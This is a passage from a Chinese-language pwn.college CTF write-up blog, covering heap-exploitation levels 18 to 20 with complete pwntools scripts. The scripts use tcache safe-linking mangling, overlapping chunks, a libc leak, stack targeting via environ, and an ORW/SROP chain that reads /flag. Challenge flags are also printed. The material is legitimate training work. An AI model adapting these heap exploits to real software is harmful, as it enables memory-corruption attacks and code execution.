    target.sendline(data)
41

42

43
def send_flag(secret):
44
    target.sendlineafter(b": ", b"send_flag")
45
    target.sendlineafter(b"Secret: ", secret)
46

47

48
def stack_free():
49
    target.sendlineafter(b": ", b"stack_free")
50

51

52
def stack_scanf(data):
53
    target.sendlineafter(b": ", b"stack_scanf")
54
    target.sendline(data)
55

56

57
def quit():
58
    target.sendlineafter(b": ", b"quit")
59

60

61
def mangle(pos, ptr, shifted=1):
62
    if shifted:
63
        return pos ^ ptr
64
    return (pos >> 12) ^ ptr
65

66

67
def demangle(pos, ptr, shifted=1):
68
    if shifted:
69
        return mangle(pos, ptr)
70
    return mangle(pos, ptr, 0)
71

72

73
def launch():
74
    global target
75
    if args.L:
76
        target = process(FILE)
77
    else:
78
        target = remote(HOST, PORT)
79

80

81
def main():
82
    launch()
83

84
    malloc(0, 0)
85
    malloc(1, 0)
86
    free(1)
87
    free(0)
88

89
    puts(1)
90
    target.recvuntil(b"Data: ")
91
    pos = int.from_bytes(target.recvline().strip(), "little")
92

93
    puts(0)
94
    target.recvuntil(b"Data: ")
95
    mangled = int.from_bytes(target.recvline().strip(), "little")
96

97
    target.success(f"pos: {hex(pos)}")
98
    target.success(f"mangled: {hex(mangled)}")
99

100
    payload = flat(
101
        b"A" * 0x30,
102
        0,
103
        0x401,
104
    )
105

106
    stack_scanf(payload)
107
    stack_free()
108

109
    raw_input("DEBUG")
110
    malloc(0, 0x3F0)
111

112
    payload = flat(
113
        b"A" * 0xBB,
114
        0,
115
        0,
116
    )
117
    scanf(0, payload)
118
    send_flag(flat(0, 0))
119
    quit()
120

121
    target.interactive()
122

123

124
if __name__ == "__main__":
125
    main()

Flag#

pwn.college{w9fBk2-OmoD0TO7dLtn3ypPp0RY.dJTO0MDL5cTNxgzW}

Level 18.1#

Information#

Category: Pwn

Description#

Revisit a prior challenge, now with TCACHE safe-linking.

Write-up#

参见 Level 18.0。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    process,
8
    raw_input,
9
    remote,
10
)
11

12

13
FILE = "/challenge/babyheap_level18.1"
14
HOST, PORT = "localhost", 1337
15

16
context(log_level="debug", binary=FILE, terminal="kitty")
17

18
elf = context.binary
19

20

21
def malloc(idx, size):
22
    target.sendlineafter(b": ", b"malloc")
23
    target.sendlineafter(b"Index: ", str(idx).encode())
24
    target.sendlineafter(b"Size: ", str(size).encode())
25

26

27
def free(idx):
28
    target.sendlineafter(b": ", b"free")
29
    target.sendlineafter(b"Index: ", str(idx).encode())
30

31

32
def puts(idx):
33
    target.sendlineafter(b": ", b"puts")
34
    target.sendlineafter(b"Index: ", str(idx).encode())
35

36

37
def scanf(idx, data):
38
    target.sendlineafter(b": ", b"scanf")
39
    target.sendlineafter(b"Index: ", str(idx).encode())
40
    target.sendline(data)
41

42

43
def send_flag(secret):
44
    target.sendlineafter(b": ", b"send_flag")
45
    target.sendlineafter(b"Secret: ", secret)
46

47

48
def stack_free():
49
    target.sendlineafter(b": ", b"stack_free")
50

51

52
def stack_scanf(data):
53
    target.sendlineafter(b": ", b"stack_scanf")
54
    target.sendline(data)
55

56

57
def quit():
58
    target.sendlineafter(b": ", b"quit")
59

60

61
def mangle(pos, ptr, shifted=1):
62
    if shifted:
63
        return pos ^ ptr
64
    return (pos >> 12) ^ ptr
65

66

67
def demangle(pos, ptr, shifted=1):
68
    if shifted:
69
        return mangle(pos, ptr)
70
    return mangle(pos, ptr, 0)
71

72

73
def launch():
74
    global target
75
    if args.L:
76
        target = process(FILE)
77
    else:
78
        target = remote(HOST, PORT)
79

80

81
def main():
82
    launch()
83

84
    malloc(0, 0)
85
    malloc(1, 0)
86
    free(1)
87
    free(0)
88

89
    puts(1)
90
    target.recvuntil(b"Data: ")
91
    pos = int.from_bytes(target.recvline().strip(), "little")
92

93
    puts(0)
94
    target.recvuntil(b"Data: ")
95
    mangled = int.from_bytes(target.recvline().strip(), "little")
96

97
    target.success(f"pos: {hex(pos)}")
98
    target.success(f"mangled: {hex(mangled)}")
99

100
    payload = flat(
101
        b"A" * 0x30,
102
        0,
103
        0x401,
104
    )
105

106
    stack_scanf(payload)
107
    stack_free()
108

109
    raw_input("DEBUG")
110
    malloc(0, 0x3F0)
111

112
    payload = flat(
113
        b"A" * 0x80,
114
        0,
115
        0,
116
    )
117
    scanf(0, payload)
118
    send_flag(flat(0, 0))
119
    quit()
120

121
    target.interactive()
122

123

124
if __name__ == "__main__":
125
    main()

Flag#

pwn.college{8b5lkMBpAAfr5wN2o6YrXmK9nLw.dNTO0MDL5cTNxgzW}

Level 19.0#

Information#

Category: Pwn

Description#

Leverage overlapping allocations to obtain the flag.

Write-up#

Description 告诉我们需要使用 overlapping，那就先去了解一下那是个啥，我写了 Mirror, Mirror on the Heap 。

然后就很简单了，篡改 inuse chunk 的 size 再输出就好了，很简单的一个概念。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    process,
8
    raw_input,
9
    remote,
10
)
11

12

13
FILE = "/challenge/babyheap_level19.0"
14
HOST, PORT = "localhost", 1337
15

16
context(log_level="debug", binary=FILE, terminal="kitty")
17

18
elf = context.binary
19

20

21
def malloc(idx, size):
22
    target.sendlineafter(b": ", b"malloc")
23
    target.sendlineafter(b"Index: ", str(idx).encode())
24
    target.sendlineafter(b"Size: ", str(size).encode())
25

26

27
def free(idx):
28
    target.sendlineafter(b": ", b"free")
29
    target.sendlineafter(b"Index: ", str(idx).encode())
30

31

32
def safe_read(idx, data):
33
    target.sendlineafter(b": ", b"safe_read")
34
    target.sendlineafter(b"Index: ", str(idx).encode())
35
    target.sendline(data)
36

37

38
def safe_write(idx):
39
    target.sendlineafter(b": ", b"safe_write")
40
    target.sendlineafter(b"Index: ", str(idx).encode())
41

42

43
def read_flag():
44
    target.sendlineafter(b": ", b"read_flag")
45

46

47
def quit():
48
    target.sendlineafter(b": ", b"quit")
49

50

51
def mangle(pos, ptr, shifted=1):
52
    if shifted:
53
        return pos ^ ptr
54
    return (pos >> 12) ^ ptr
55

56

57
def demangle(pos, ptr, shifted=1):
58
    if shifted:
59
        return mangle(pos, ptr)
60
    return mangle(pos, ptr, 0)
61

62

63
def launch():
64
    global target
65
    if args.L:
66
        target = process(FILE)
67
    else:
68
        target = remote(HOST, PORT)
69

70

71
def main():
72
    launch()
73

74
    malloc(0, 0x20)
75
    malloc(1, 0)
76
    read_flag()
77

78
    payload = flat(
79
        b"A" * 0x20,
80
        0,
81
        0x61,
82
    )
83
    # raw_input("DEBUG")
84
    safe_read(0, payload)
85

86
    free(1)
87
    raw_input("DEBUG")
88
    malloc(0, 0x50)
89
    safe_write(0)
90
    target.recvuntil(b"pwn.college{")
91
    flag = target.recvline().decode()
92
    target.success(f"pwn.college{{{flag}")
93
    quit()
94

95
    target.interactive()
96

97

98
if __name__ == "__main__":
99
    main()

Flag#

pwn.college{UyW-UEWgMm10Cadm41NCv96TtqR.dRTO0MDL5cTNxgzW}

Level 19.1#

Information#

Category: Pwn

Description#

Leverage overlapping allocations to obtain the flag.

Write-up#

参见 Level 19.0。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    args,
5
    context,
6
    flat,
7
    process,
8
    raw_input,
9
    remote,
10
)
11

12

13
FILE = "/challenge/babyheap_level19.1"
14
HOST, PORT = "localhost", 1337
15

16
context(log_level="debug", binary=FILE, terminal="kitty")
17

18
elf = context.binary
19

20

21
def malloc(idx, size):
22
    target.sendlineafter(b": ", b"malloc")
23
    target.sendlineafter(b"Index: ", str(idx).encode())
24
    target.sendlineafter(b"Size: ", str(size).encode())
25

26

27
def free(idx):
28
    target.sendlineafter(b": ", b"free")
29
    target.sendlineafter(b"Index: ", str(idx).encode())
30

31

32
def safe_read(idx, data):
33
    target.sendlineafter(b": ", b"safe_read")
34
    target.sendlineafter(b"Index: ", str(idx).encode())
35
    target.sendline(data)
36

37

38
def safe_write(idx):
39
    target.sendlineafter(b": ", b"safe_write")
40
    target.sendlineafter(b"Index: ", str(idx).encode())
41

42

43
def read_flag():
44
    target.sendlineafter(b": ", b"read_flag")
45

46

47
def quit():
48
    target.sendlineafter(b": ", b"quit")
49

50

51
def mangle(pos, ptr, shifted=1):
52
    if shifted:
53
        return pos ^ ptr
54
    return (pos >> 12) ^ ptr
55

56

57
def demangle(pos, ptr, shifted=1):
58
    if shifted:
59
        return mangle(pos, ptr)
60
    return mangle(pos, ptr, 0)
61

62

63
def launch():
64
    global target
65
    if args.L:
66
        target = process(FILE)
67
    else:
68
        target = remote(HOST, PORT)
69

70

71
def main():
72
    launch()
73

74
    malloc(0, 0x20)
75
    malloc(1, 0)
76
    read_flag()
77

78
    payload = flat(
79
        b"A" * 0x20,
80
        0,
81
        0x61,
82
    )
83
    # raw_input("DEBUG")
84
    safe_read(0, payload)
85

86
    free(1)
87
    raw_input("DEBUG")
88
    malloc(0, 0x50)
89
    safe_write(0)
90
    target.recvuntil(b"pwn.college{")
91
    flag = target.recvline().decode()
92
    target.success(f"pwn.college{{{flag}")
93
    quit()
94

95
    target.interactive()
96

97

98
if __name__ == "__main__":
99
    main()

Flag#

pwn.college{ou87E6zOskHpMtWjDb0XpdVk9ub.dVTO0MDL5cTNxgzW}

Level 20.0#

Information#

Category: Pwn

Description#

16 bytes and a dream.

Write-up#

说实话我没有 get 到这个 description 是什么意思，这 16 bytes 是指什么呢？

感觉这题就是前面所有知识点的综合，并且没有提供后门函数，我选择 ret2libc 然后打 ORW，不过打法多了去了，我只是选一个自认为比较方便的打。另外，这里我除了写了普通 ORW 外还复习了一下 SROP，可以看我 exp 注释掉的部分是普通 ORW 打法。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    ROP,
6
    SigreturnFrame,
7
    args,
8
    constants,
9
    context,
10
    flat,
11
    process,
12
    raw_input,
13
    remote,
14
)
15

16
FILE = "/challenge/tcache-terror-easy"
17
HOST, PORT = "localhost", 1337
18

19
context(log_level="debug", binary=FILE, terminal="kitty")
20

21
elf = context.binary
22
libc = ELF("/challenge/lib/libc.so.6")
23

24

25
def malloc(idx, size):
26
    target.sendlineafter(b": ", b"malloc")
27
    target.sendlineafter(b"Index: ", str(idx).encode())
28
    target.sendlineafter(b"Size: ", str(size).encode())
29

30

31
def free(idx):
32
    target.sendlineafter(b": ", b"free")
33
    target.sendlineafter(b"Index: ", str(idx).encode())
34

35

36
def safe_read(idx, data):
37
    target.sendlineafter(b": ", b"safe_read")
38
    target.sendlineafter(b"Index: ", str(idx).encode())
39
    target.sendline(data)
40

41

42
def safe_write(idx):
43
    target.sendlineafter(b": ", b"safe_write")
44
    target.sendlineafter(b"Index: ", str(idx).encode())
45

46

47
def quit():
48
    target.sendlineafter(b": ", b"quit")
49

50

51
def mangle(pos, ptr, shifted=1):
52
    if shifted:
53
        return pos ^ ptr
54
    return (pos >> 12) ^ ptr
55

56

57
def demangle(pos, ptr, shifted=1):
58
    if shifted:
59
        return mangle(pos, ptr)
60
    return mangle(pos, ptr, 0)
61

62

63
def launch():
64
    global target
65
    if args.L:
66
        target = process(FILE)
67
    else:
68
        target = remote(HOST, PORT)
69

70

71
def main():
72
    launch()
73

74
    malloc(0, 0x410)
75
    malloc(1, 0)
76
    free(0)
77
    malloc(0, 0x410)
78
    safe_write(0)
79

80
    target.recvlines(2)
81
    libc.address = int.from_bytes(target.recv(0x8).strip(), "little") - 0x219CE0
82

83
    free(1)
84
    malloc(0, 0)
85
    # raw_input("DEBUG")
86
    safe_write(0)
87

88
    target.recvlines(2)
89
    pos = int.from_bytes(target.recv(0x8).strip(), "little")
90

91
    malloc(0, 0x10)
92
    malloc(1, 0)
93
    malloc(2, 0)
94
    malloc(3, 0)
95
    free(3)
96
    free(2)
97

98
    payload = flat(
99
        b"A" * 0x10,
100
        0,
101
        0x41,
102
    )
103
    safe_read(0, payload)
104

105
    free(1)
106
    malloc(1, 0x30)
107

108
    payload = flat(
109
        b"A" * 0x10,
110
        0,
111
        0x21,
112
        mangle(pos, libc.sym["environ"]),
113
    )
114
    # raw_input("DEBUG")
115
    safe_read(1, payload)
116
    malloc(0, 0)
117
    malloc(0, 0)
118
    # raw_input("DEBUG")
119
    safe_write(0)
120

121
    target.recvlines(2)
122
    ret = int.from_bytes(target.recv(0x8).strip(), "little") - 0x120
123
    rbp = ret - 0x8
124

125
    target.success(f"libc: {hex(libc.address)}")
126
    target.success(f"pos: {hex(pos)}")
127
    target.success(f"ret: {hex(ret)}")
128

129
    malloc(0, 0x10)
130
    malloc(1, 0)
131
    malloc(2, 0x100)
132
    malloc(3, 0x100)
133
    free(3)
134
    free(2)
135

136
    payload = flat(
137
        b"A" * 0x10,
138
        0,
139
        0x221,
140
    )
141
    # raw_input("DEBUG")
142
    safe_read(0, payload)
143

144
    free(1)
145
    malloc(1, 0x210)
146

147
    payload = flat(
148
        b"A" * 0x10,
149
        0,
150
        0x111,
151
        mangle(pos, ret - 0x8),
152
    )
153
    # raw_input("DEBUG")
154
    safe_read(1, payload)
155

156
    malloc(0, 0x100)
157
    raw_input("DEBUG")
158
    malloc(0, 0x100)
159

160
    rop = ROP(libc)
161

162
    # payload = flat(
163
    #     # open
164
    #     b"/flag\x00\x00\x00",
165
    #     rop.rdi.address,
166
    #     rbp,
167
    #     rop.rsi.address,
168
    #     0,
169
    #     rop.rax.address,
170
    #     constants.SYS_open,
171
    #     rop.find_gadget(["syscall", "ret"])[0],
172
    #     # read
173
    #     rop.rdi.address,
174
    #     3,
175
    #     rop.rsi.address,
176
    #     rbp - 0x100,
177
    #     rop.rdx.address,
178
    #     0x100,
179
    #     rop.rax.address,
180
    #     0,
181
    #     rop.find_gadget(["syscall", "ret"])[0],
182
    #     # write
183
    #     rop.rdi.address,
184
    #     1,
185
    #     rop.rsi.address,
186
    #     rbp - 0x100,
187
    #     rop.rdx.address,
188
    #     0x100,
189
    #     rop.rax.address,
190
    #     1,
191
    #     rop.find_gadget(["syscall", "ret"])[0],
192
    # )
193

194
    frame = SigreturnFrame()
195

196
    frame.rax = constants.SYS_sendfile
197
    frame.rdi = 1
198
    frame.rsi = 3
199
    frame.rdx = ret + 0x18
200
    frame.r10 = 0x100
201
    frame.rip = rop.find_gadget(["syscall", "ret"])[0]
202

203
    payload = flat(
204
        # open
205
        b"/flag\x00\x00\x00",
206
        rop.rdi.address,
207
        rbp,
208
        rop.rsi.address,
209
        0,
210
        rop.rax.address,
211
        constants.SYS_open,
212
        rop.find_gadget(["syscall", "ret"])[0],
213
        # read
214
        rop.rdi.address,
215
        0,
216
        rop.rsi.address,
217
        rbp - 0x100,
218
        rop.rdx.address,
219
        0x100,
220
        rop.rax.address,
221
        0,
222
        rop.find_gadget(["syscall", "ret"])[0],
223
        # srop
224
        rop.rax.address,
225
        0xF,
226
        rop.rsp.address,
227
        rbp - 0x100,
228
    )
229

230
    # raw_input("DEBUG")
231
    safe_read(0, payload)
232
    raw_input("DEBUG")
233
    quit()
234

235
    payload = flat(
236
        rop.find_gadget(["syscall", "ret"])[0],
237
        frame,
238
    )
239
    target.send(payload)
240

241
    target.interactive()
242

243

244
if __name__ == "__main__":
245
    main()

Flag#

pwn.college{4fglWsi6vXF1cQOmxoxHe6iLybu.dZTO0MDL5cTNxgzW}

Level 20.1#

Information#

Category: Pwn

Description#

16 bytes and a dream.

Write-up#

参见 Level 20.0。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    ROP,
6
    SigreturnFrame,
7
    args,
8
    constants,
9
    context,
10
    flat,
11
    process,
12
    raw_input,
13
    remote,
14
)
15

16
FILE = "/challenge/tcache-terror-hard"
17
HOST, PORT = "localhost", 1337
18

19
context(log_level="debug", binary=FILE, terminal="kitty")
20

21
elf = context.binary
22
libc = ELF("/challenge/lib/libc.so.6")
23

24

25
def malloc(idx, size):
26
    target.sendlineafter(b": ", b"malloc")
27
    target.sendlineafter(b"Index: ", str(idx).encode())
28
    target.sendlineafter(b"Size: ", str(size).encode())
29

30

31
def free(idx):
32
    target.sendlineafter(b": ", b"free")
33
    target.sendlineafter(b"Index: ", str(idx).encode())
34

35

36
def safe_read(idx, data):
37
    target.sendlineafter(b": ", b"safe_read")
38
    target.sendlineafter(b"Index: ", str(idx).encode())
39
    target.sendline(data)
40

41

42
def safe_write(idx):
43
    target.sendlineafter(b": ", b"safe_write")
44
    target.sendlineafter(b"Index: ", str(idx).encode())
45

46

47
def quit():
48
    target.sendlineafter(b": ", b"quit")
49

50

51
def mangle(pos, ptr, shifted=1):
52
    if shifted:
53
        return pos ^ ptr
54
    return (pos >> 12) ^ ptr
55

56

57
def demangle(pos, ptr, shifted=1):
58
    if shifted:
59
        return mangle(pos, ptr)
60
    return mangle(pos, ptr, 0)
61

62

63
def launch():
64
    global target
65
    if args.L:
66
        target = process(FILE)
67
    else:
68
        target = remote(HOST, PORT)
69

70

71
def main():
72
    launch()
73

74
    malloc(0, 0x410)
75
    malloc(1, 0)
76
    free(0)
77
    malloc(0, 0x410)
78
    safe_write(0)
79

80
    libc.address = int.from_bytes(target.recv(0x8).strip(), "little") - 0x219CE0
81

82
    free(1)
83
    malloc(0, 0)
84
    # raw_input("DEBUG")
85
    safe_write(0)
86

87
    pos = int.from_bytes(target.recv(0x8).strip(), "little")
88

89
    malloc(0, 0x10)
90
    malloc(1, 0)
91
    malloc(2, 0)
92
    malloc(3, 0)
93
    free(3)
94
    free(2)
95

96
    payload = flat(
97
        b"A" * 0x10,
98
        0,
99
        0x41,
100
    )
101
    # raw_input("DEBUG")
102
    safe_read(0, payload)
103

104
    free(1)
105
    malloc(1, 0x30)
106

107
    payload = flat(
108
        b"A" * 0x10,
109
        0,
110
        0x21,
111
        mangle(pos, libc.sym["environ"]),
112
    )
113
    safe_read(1, payload)
114
    malloc(0, 0)
115
    malloc(0, 0)
116
    # raw_input("DEBUG")
117
    safe_write(0)
118

119
    ret = int.from_bytes(target.recv(0x8).strip(), "little") - 0x120
120
    rbp = ret - 0x8
121

122
    target.success(f"libc: {hex(libc.address)}")
123
    target.success(f"pos: {hex(pos)}")
124
    target.success(f"ret: {hex(ret)}")
125

126
    malloc(0, 0x10)
127
    malloc(1, 0)
128
    malloc(2, 0x100)
129
    malloc(3, 0x100)
130
    free(3)
131
    free(2)
132

133
    payload = flat(
134
        b"A" * 0x10,
135
        0,
136
        0x221,
137
    )
138
    # raw_input("DEBUG")
139
    safe_read(0, payload)
140

141
    free(1)
142
    malloc(1, 0x210)
143

144
    payload = flat(
145
        b"A" * 0x10,
146
        0,
147
        0x111,
148
        mangle(pos, ret - 0x8),
149
    )
150
    # raw_input("DEBUG")
151
    safe_read(1, payload)
152

153
    malloc(0, 0x100)
154
    raw_input("DEBUG")
155
    malloc(0, 0x100)
156

157
    rop = ROP(libc)
158

159
    # payload = flat(
160
    #     # open
161
    #     b"/flag\x00\x00\x00",
162
    #     rop.rdi.address,
163
    #     rbp,
164
    #     rop.rsi.address,
165
    #     0,
166
    #     rop.rax.address,
167
    #     constants.SYS_open,
168
    #     rop.find_gadget(["syscall", "ret"])[0],
169
    #     # read
170
    #     rop.rdi.address,
171
    #     3,
172
    #     rop.rsi.address,
173
    #     rbp - 0x100,
174
    #     rop.rdx.address,
175
    #     0x100,
176
    #     rop.rax.address,
177
    #     0,
178
    #     rop.find_gadget(["syscall", "ret"])[0],
179
    #     # write
180
    #     rop.rdi.address,
181
    #     1,
182
    #     rop.rsi.address,
183
    #     rbp - 0x100,
184
    #     rop.rdx.address,
185
    #     0x100,
186
    #     rop.rax.address,
187
    #     1,
188
    #     rop.find_gadget(["syscall", "ret"])[0],
189
    # )
190

191
    frame = SigreturnFrame()
192

193
    frame.rax = constants.SYS_sendfile
194
    frame.rdi = 1
195
    frame.rsi = 3
196
    frame.rdx = ret + 0x18
197
    frame.r10 = 0x100
198
    frame.rip = rop.find_gadget(["syscall", "ret"])[0]
199

200
    payload = flat(
201
        # open
202
        b"/flag\x00\x00\x00",
203
        rop.rdi.address,
204
        rbp,
205
        rop.rsi.address,
206
        0,
207
        rop.rax.address,
208
        constants.SYS_open,
209
        rop.find_gadget(["syscall", "ret"])[0],
210
        # read
211
        rop.rdi.address,
212
        0,
213
        rop.rsi.address,
214
        rbp - 0x100,
215
        rop.rdx.address,
216
        0x100,
217
        rop.rax.address,
218
        0,
219
        rop.find_gadget(["syscall", "ret"])[0],
220
        # srop
221
        rop.rax.address,
222
        0xF,
223
        rop.rsp.address,
224
        rbp - 0x100,
225
    )
226

227
    # raw_input("DEBUG")
228
    safe_read(0, payload)
229
    raw_input("DEBUG")
230
    quit()
231

232
    payload = flat(
233
        rop.find_gadget(["syscall", "ret"])[0],
234
        frame,
235
    )
236
    target.send(payload)
237

238
    target.interactive()
239

240

241
if __name__ == "__main__":
242
    main()

Flag#

pwn.college{I4gOWGlF1e4mxxQJzpY65moHbAQ.ddTO0MDL5cTNxgzW}

后记#

从一开始的对 heap 充满了恐惧，到现在打完这一章也算是小有成就了，真的从来没想过这一天哈哈哈。接下来就可以去打 dynamic-allocator-exploitation chapter 了，据说是 how2heap 里面各种手法的实践。感觉难度一下就上了好几个台阶，不过我已经克服恐惧了，只是不知道能不能在一个月内打完，让我们拭目以待。